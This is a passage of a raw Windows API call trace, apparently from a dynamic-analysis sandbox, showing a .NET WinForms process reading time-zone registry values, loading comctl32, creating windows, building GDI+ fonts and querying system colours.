[0138.672] RegQueryValueExW (in: hKey=0x270, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x1ae488, lpData=0x0, lpcbData=0x1ae480*=0x0 | out: lpType=0x1ae488*=0x1, lpData=0x0, lpcbData=0x1ae480*=0x20) returned 0x0 [0138.672] RegQueryValueExW (in: hKey=0x270, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x1ae488, lpData=0x2a50fb0, lpcbData=0x1ae480*=0x20 | out: lpType=0x1ae488*=0x1, lpData="@tzres.dll,-670", lpcbData=0x1ae480*=0x20) returned 0x0 [0138.672] RegQueryValueExW (in: hKey=0x270, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x1ae488, lpData=0x0, lpcbData=0x1ae480*=0x0 | out: lpType=0x1ae488*=0x1, lpData=0x0, lpcbData=0x1ae480*=0x20) returned 0x0 [0138.672] RegQueryValueExW (in: hKey=0x270, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x1ae488, lpData=0x2a51020, lpcbData=0x1ae480*=0x20 | out: lpType=0x1ae488*=0x1, lpData="@tzres.dll,-672", lpcbData=0x1ae480*=0x20) returned 0x0 [0138.672] RegQueryValueExW (in: hKey=0x270, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x1ae488, lpData=0x0, lpcbData=0x1ae480*=0x0 | out: lpType=0x1ae488*=0x1, lpData=0x0, lpcbData=0x1ae480*=0x20) returned 0x0 [0138.672] RegQueryValueExW (in: hKey=0x270, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x1ae488, lpData=0x2a51090, lpcbData=0x1ae480*=0x20 | out: lpType=0x1ae488*=0x1, lpData="@tzres.dll,-671", lpcbData=0x1ae480*=0x20) returned 0x0 [0138.673] CoTaskMemAlloc (cb=0x20c) returned 0x1ac539a0 [0138.673] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1ac539a0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0138.673] CoTaskMemFree (pv=0x1ac539a0) [0138.674] CoTaskMemAlloc (cb=0x20e) returned 0x1ac539a0 [0138.674] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1ae4d8, pwszFileMUIPath=0x1ac539a0, pcchFileMUIPath=0x1ae4e0, pululEnumerator=0x1ae4d0 | out: pwszLanguage=0x0, pcchLanguage=0x1ae4d8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1ae4e0, pululEnumerator=0x1ae4d0) returned 1 [0138.690] CoTaskMemFree (pv=0x0) [0138.690] CoTaskMemFree (pv=0x1ac539a0) [0138.690] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x270001 [0138.697] CoTaskMemAlloc (cb=0x3ec) returned 0x1ac60590 [0138.698] LoadStringW (in: hInstance=0x270001, uID=0x29e, lpBuffer=0x1ac60590, cchBufferMax=500 | out: lpBuffer="(UTC+10:00) Canberra, Melbourne, Sydney") returned 0x27 [0138.698] CoTaskMemFree (pv=0x1ac60590) [0138.698] FreeLibrary (hLibModule=0x270001) returned 1 [0138.698] CoTaskMemAlloc (cb=0x20c) returned 0x1ac539a0 [0138.698] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1ac539a0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0138.698] CoTaskMemFree (pv=0x1ac539a0) [0138.698] CoTaskMemAlloc (cb=0x20e) returned 0x1ac539a0 [0138.698] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1ae4d8, pwszFileMUIPath=0x1ac539a0, pcchFileMUIPath=0x1ae4e0, pululEnumerator=0x1ae4d0 | out: pwszLanguage=0x0, pcchLanguage=0x1ae4d8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1ae4e0, pululEnumerator=0x1ae4d0) returned 1 [0138.699] CoTaskMemFree (pv=0x0) [0138.699] CoTaskMemFree (pv=0x1ac539a0) [0138.699] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x270001 [0138.700] CoTaskMemAlloc (cb=0x3ec) returned 0x1ac60590 [0138.700] LoadStringW (in: hInstance=0x270001, uID=0x2a0, lpBuffer=0x1ac60590, cchBufferMax=500 | out: lpBuffer="AUS Eastern Standard Time") returned 0x19 [0138.700] CoTaskMemFree (pv=0x1ac60590) [0138.700] FreeLibrary (hLibModule=0x270001) returned 1 [0138.700] CoTaskMemAlloc (cb=0x20c) returned 0x1ac539a0 [0138.700] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1ac539a0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0138.700] CoTaskMemFree (pv=0x1ac539a0) [0138.700] CoTaskMemAlloc (cb=0x20e) returned 0x1ac539a0 [0138.700] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1ae4d8, pwszFileMUIPath=0x1ac539a0, pcchFileMUIPath=0x1ae4e0, pululEnumerator=0x1ae4d0 | out: pwszLanguage=0x0, pcchLanguage=0x1ae4d8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1ae4e0, pululEnumerator=0x1ae4d0) returned 1 [0138.701] CoTaskMemFree (pv=0x0) [0138.701] CoTaskMemFree (pv=0x1ac539a0) [0138.701] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x270001 [0138.701] CoTaskMemAlloc (cb=0x3ec) returned 0x1ac60590 [0138.701] LoadStringW (in: hInstance=0x270001, uID=0x29f, lpBuffer=0x1ac60590, cchBufferMax=500 | out: lpBuffer="AUS Eastern Daylight Time") returned 0x19 [0138.701] CoTaskMemFree (pv=0x1ac60590) [0138.701] FreeLibrary (hLibModule=0x270001) returned 1 [0138.702] RegCloseKey (hKey=0x270) returned 0x0 [0138.972] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0139.484] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x7fef8d20000 [0139.493] AdjustWindowRectEx (in: lpRect=0x1ae960, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x1ae960) returned 1 [0139.496] GetCurrentProcess () returned 0xffffffffffffffff [0139.496] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ae770, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ae770*=0x264) returned 1 [0139.501] GetCurrentActCtx (in: lphActCtx=0x1ae660 | out: lphActCtx=0x1ae660*=0x0) returned 1 [0139.501] ActivateActCtx (in: hActCtx=0x1ac50528, lpCookie=0x1ae6a0 | out: hActCtx=0x1ac50528, lpCookie=0x1ae6a0) returned 1 [0139.502] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0140.039] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x7fefc0f0000 [0140.069] GetModuleHandleW (lpModuleName="user32.dll") returned 0x77450000 [0140.069] GetProcAddress (hModule=0x77450000, lpProcName="DefWindowProcW") returned 0x7769b0ac [0140.070] GetStockObject (i=5) returned 0x1900015 [0140.078] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0140.095] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eeb0 [0140.095] RegisterClassW (lpWndClass=0x1ae340) returned 0xc059 [0140.095] CoTaskMemFree (pv=0x1ac6eeb0) [0140.096] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0140.096] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffffffffffd, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x1501ae [0140.132] SetWindowLongPtrW (hWnd=0x1501ae, nIndex=-4, dwNewLong=0x7769b0ac) returned 0x1b5b13ec [0140.135] GetWindowLongPtrW (hWnd=0x1501ae, nIndex=-4) returned 0x7769b0ac [0140.164] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad788 | out: phkResult=0x1ad788*=0x278) returned 0x0 [0140.165] RegQueryValueExW (in: hKey=0x278, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x1ad7d8, lpData=0x0, lpcbData=0x1ad7d0*=0x0 | out: lpType=0x1ad7d8*=0x0, lpData=0x0, lpcbData=0x1ad7d0*=0x0) returned 0x2 [0140.165] RegQueryValueExW (in: hKey=0x278, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x1ad7d8, lpData=0x0, lpcbData=0x1ad7d0*=0x0 | out: lpType=0x1ad7d8*=0x0, lpData=0x0, lpcbData=0x1ad7d0*=0x0) returned 0x2 [0140.165] RegCloseKey (hKey=0x278) returned 0x0 [0140.166] SetWindowLongPtrW (hWnd=0x1501ae, nIndex=-4, dwNewLong=0x1b5b143c) returned 0x7769b0ac [0140.166] GetWindowLongPtrW (hWnd=0x1501ae, nIndex=-4) returned 0x1b5b143c [0140.166] GetWindowLongPtrW (hWnd=0x1501ae, nIndex=-16) returned 0x6c10000 [0140.168] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc13b [0140.169] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc13a [0140.169] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x1501ae, Msg=0x81, wParam=0x0, lParam=0x1add20) returned 0x1 [0140.169] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x1501ae, Msg=0x83, wParam=0x0, lParam=0x1addd0) returned 0x0 [0140.170] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x1501ae, Msg=0x1, wParam=0x0, lParam=0x1add20) returned 0x0 [0140.170] GetClientRect (in: hWnd=0x1501ae, lpRect=0x1ad7e0 | out: lpRect=0x1ad7e0) returned 1 [0140.170] GetWindowRect (in: hWnd=0x1501ae, lpRect=0x1ad7e0 | out: lpRect=0x1ad7e0) returned 1 [0140.175] GetParent (hWnd=0x1501ae) returned 0x0 [0140.175] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001730d00000001) returned 1 [0142.164] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0142.165] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0142.165] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0142.166] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0142.166] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0142.166] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0142.166] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0142.166] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0142.166] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0142.166] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0142.167] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0142.167] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0142.402] GetSystemDefaultLCID () returned 0x409 [0142.402] GetStockObject (i=17) returned 0x18a0025 [0142.406] GetObjectW (in: h=0x18a0025, c=92, pv=0x1acc90 | out: pv=0x1acc90) returned 92 [0142.407] GetDC (hWnd=0x0) returned 0xd01027c [0142.496] GdiplusStartup (in: token=0x7fe942f9b68, input=0x1ab598, output=0x1ab648 | out: token=0x7fe942f9b68, output=0x1ab648) returned 0x0 [0142.501] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eeb0 [0142.525] GdipCreateFontFromLogfontW (hdc=0xd01027c, logfont=0x1ac6eeb0, font=0x1acdd0) returned 0x0 [0151.549] CoTaskMemFree (pv=0x1ac6eeb0) [0151.550] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eeb0 [0151.550] CoTaskMemFree (pv=0x1ac6eeb0) [0151.550] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eeb0 [0151.550] CoTaskMemFree (pv=0x1ac6eeb0) [0151.560] GdipGetFontUnit (font=0x1b3741a0, unit=0x1acd40) returned 0x0 [0151.561] GdipGetFontSize (font=0x1b3741a0, size=0x1acd4c) returned 0x0 [0151.561] GdipGetFontStyle (font=0x1b3741a0, style=0x1acd38) returned 0x0 [0151.562] GdipGetFamily (font=0x1b3741a0, family=0x1acd30) returned 0x0 [0151.564] GdipGetFontSize (font=0x1b3741a0, size=0x28c0ab8) returned 0x0 [0151.564] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0151.565] GetDC (hWnd=0x0) returned 0xd01027c [0151.566] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acd48) returned 0x0 [0151.626] GdipGetDpiY (graphics=0x1b95d3c0, dpi=0x28c0c90) returned 0x0 [0151.627] GdipGetFontHeight (font=0x1b3741a0, graphics=0x1b95d3c0, height=0x1acd44) returned 0x0 [0151.627] GdipGetEmHeight (family=0x1b37c5e0, style=0, EmHeight=0x1acd48) returned 0x0 [0151.628] GdipGetLineSpacing (family=0x1b37c5e0, style=0, LineSpacing=0x1acd48) returned 0x0 [0151.629] GdipDeleteGraphics (graphics=0x1b95d3c0) returned 0x0 [0151.629] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0151.633] GdipCreateFont (fontFamily=0x1b37c5e0, emSize=0x7fef15ecd25, style=0, unit=0x3, font=0x28c0c20) returned 0x0 [0151.633] GdipGetFontSize (font=0x1b9c3a40, size=0x28c0c28) returned 0x0 [0151.634] GdipDeleteFont (font=0x1b3741a0) returned 0x0 [0151.636] GetDC (hWnd=0x0) returned 0xd01027c [0151.636] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acea8) returned 0x0 [0151.636] GdipGetFontHeight (font=0x1b9c3a40, graphics=0x1b95d3c0, height=0x1acea4) returned 0x0 [0151.636] GdipDeleteGraphics (graphics=0x1b95d3c0) returned 0x0 [0151.636] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0151.636] GetSystemMetrics (nIndex=5) returned 1 [0151.636] GetSystemMetrics (nIndex=6) returned 1 [0151.637] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.703] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x1ad150) returned 1 [0151.703] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.703] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0151.947] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.947] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0151.947] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.947] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0151.947] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.947] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0151.947] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.948] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0151.948] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.948] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0151.948] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.948] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0151.948] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.948] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0151.948] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.948] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0151.948] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.948] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0151.948] GetDC (hWnd=0x0) returned 0xd01027c [0151.948] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acea8) returned 0x0 [0151.949] GdipGetFontHeight (font=0x1b9c3a40, graphics=0x1b95d3c0, height=0x1acea4) returned 0x0 [0151.949] GdipDeleteGraphics (graphics=0x1b95d3c0) returned 0x0 [0151.949] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0151.949] GetSystemMetrics (nIndex=5) returned 1 [0151.949] GetSystemMetrics (nIndex=6) returned 1 [0151.949] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.949] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x1ad150) returned 1 [0151.959] GetDC (hWnd=0x0) returned 0xd01027c [0151.959] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acea8) returned 0x0 [0151.959] GdipGetFontHeight (font=0x1b9c3a40, graphics=0x1b95d3c0, height=0x1acea4) returned 0x0 [0151.959] GdipDeleteGraphics (graphics=0x1b95d3c0) returned 0x0 [0151.959] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0151.959] GetSystemMetrics (nIndex=5) returned 1 [0151.959] GetSystemMetrics (nIndex=6) returned 1 [0151.959] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.959] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x1ad150) returned 1 [0151.960] GetDC (hWnd=0x0) returned 0xd01027c [0151.960] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acea8) returned 0x0 [0151.960] GdipGetFontHeight (font=0x1b9c3a40, graphics=0x1b95d3c0, height=0x1acea4) returned 0x0 [0151.960] GdipDeleteGraphics (graphics=0x1b95d3c0) returned 0x0 [0151.960] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0151.960] GetSystemMetrics (nIndex=5) returned 1 [0151.960] GetSystemMetrics (nIndex=6) returned 1 [0151.960] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.960] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x1ad150) returned 1 [0151.960] GetDC (hWnd=0x0) returned 0xd01027c [0151.960] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acea8) returned 0x0 [0151.960] GdipGetFontHeight (font=0x1b9c3a40, graphics=0x1b95d3c0, height=0x1acea4) returned 0x0 [0151.960] GdipDeleteGraphics (graphics=0x1b95d3c0) returned 0x0 [0151.960] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0151.960] GetSystemMetrics (nIndex=5) returned 1 [0151.960] GetSystemMetrics (nIndex=6) returned 1 [0151.960] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.960] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x1ad150) returned 1 [0151.961] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0151.961] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0152.008] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0152.008] AdjustWindowRectEx (in: lpRect=0x1ad130, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad130) returned 1 [0152.008] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0152.008] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0152.009] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0152.009] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0152.009] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0152.009] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0152.013] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0152.013] AdjustWindowRectEx (in: lpRect=0x1ad170, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1ad170) returned 1 [0152.013] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0152.013] AdjustWindowRectEx (in: lpRect=0x1ad150, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad150) returned 1 [0152.013] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0152.013] AdjustWindowRectEx (in: lpRect=0x1ad170, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1ad170) returned 1 [0152.457] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0152.457] AdjustWindowRectEx (in: lpRect=0x1ad160, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad160) returned 1 [0152.457] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0152.457] AdjustWindowRectEx (in: lpRect=0x1ad160, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad160) returned 1 [0152.892] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad0f0) returned 0x0 [0152.906] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c54a8) returned 0x0 [0155.031] GdipGetFontSize (font=0x1b3741a0, size=0x28c54b0) returned 0x0 [0155.957] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0155.957] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0157.567] GetUserObjectInformationA (in: hObj=0x44, nIndex=1, pvInfo=0x28c5d58, nLength=0xc, lpnLengthNeeded=0x1acca0 | out: pvInfo=0x28c5d58, lpnLengthNeeded=0x1acca0) returned 1 [0157.605] SetConsoleCtrlHandler (HandlerRoutine=0x1b5b148c, Add=1) returned 1 [0157.625] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0157.625] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0157.626] GetClassInfoW (in: hInstance=0x11d0000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x28c5e18 | out: lpWndClass=0x28c5e18) returned 0 [0157.626] CoTaskMemAlloc (cb=0x58) returned 0x1ac59c20 [0157.626] RegisterClassW (lpWndClass=0x1acab0) returned 0xc138 [0157.627] CoTaskMemFree (pv=0x1ac59c20) [0157.627] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x601b6 [0157.972] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x83, wParam=0x0, lParam=0x1ac4d0) returned 0x0 [0157.972] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x1, wParam=0x0, lParam=0x1ac3c0) returned 0x0 [0157.972] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0157.972] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0157.988] GetSysColor (nIndex=10) returned 0xb4b4b4 [0157.988] GetSysColor (nIndex=2) returned 0xd1b499 [0157.988] GetSysColor (nIndex=9) returned 0x0 [0157.988] GetSysColor (nIndex=12) returned 0xababab [0157.988] GetSysColor (nIndex=15) returned 0xf0f0f0 [0157.988] GetSysColor (nIndex=20) returned 0xffffff [0157.988] GetSysColor (nIndex=16) returned 0xa0a0a0 [0157.988] GetSysColor (nIndex=15) returned 0xf0f0f0 [0157.988] GetSysColor (nIndex=16) returned 0xa0a0a0 [0157.988] GetSysColor (nIndex=21) returned 0x696969 [0157.988] GetSysColor (nIndex=22) returned 0xe3e3e3 [0157.988] GetSysColor (nIndex=20) returned 0xffffff [0157.988] GetSysColor (nIndex=18) returned 0x0 [0157.988] GetSysColor (nIndex=1) returned 0x0 [0157.988] GetSysColor (nIndex=27) returned 0xead1b9 [0157.988] GetSysColor (nIndex=28) returned 0xf2e4d7 [0157.988] GetSysColor (nIndex=17) returned 0x6d6d6d [0157.988] GetSysColor (nIndex=13) returned 0xff9933 [0157.988] GetSysColor (nIndex=14) returned 0xffffff [0157.988] GetSysColor (nIndex=26) returned 0xcc6600 [0157.988] GetSysColor (nIndex=11) returned 0xfcf7f4 [0157.988] GetSysColor (nIndex=3) returned 0xdbcdbf [0157.988] GetSysColor (nIndex=19) returned 0x544e43 [0157.988] GetSysColor (nIndex=24) returned 0xe1ffff [0157.988] GetSysColor (nIndex=23) returned 0x0 [0157.988] GetSysColor (nIndex=4) returned 0xf0f0f0 [0157.989] GetSysColor (nIndex=30) returned 0xf0f0f0 [0157.989] GetSysColor (nIndex=29) returned 0xff9933 [0157.989] GetSysColor (nIndex=7) returned 0x0 [0157.989] GetSysColor (nIndex=0) returned 0xc8c8c8 [0157.989] GetSysColor (nIndex=5) returned 0xffffff [0157.989] GetSysColor (nIndex=6) returned 0x646464 [0157.989] GetSysColor (nIndex=8) returned 0x0 [0157.990] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0157.990] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0157.993] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0157.994] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c6490) returned 0x0 [0157.994] GdipGetFontSize (font=0x1b96c4b0, size=0x28c6498) returned 0x0 [0157.994] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0157.994] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0157.994] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0157.994] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0157.994] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0157.994] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c6888) returned 0x0 [0157.994] GdipGetFontSize (font=0x1b95bd80, size=0x28c6890) returned 0x0 [0157.995] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 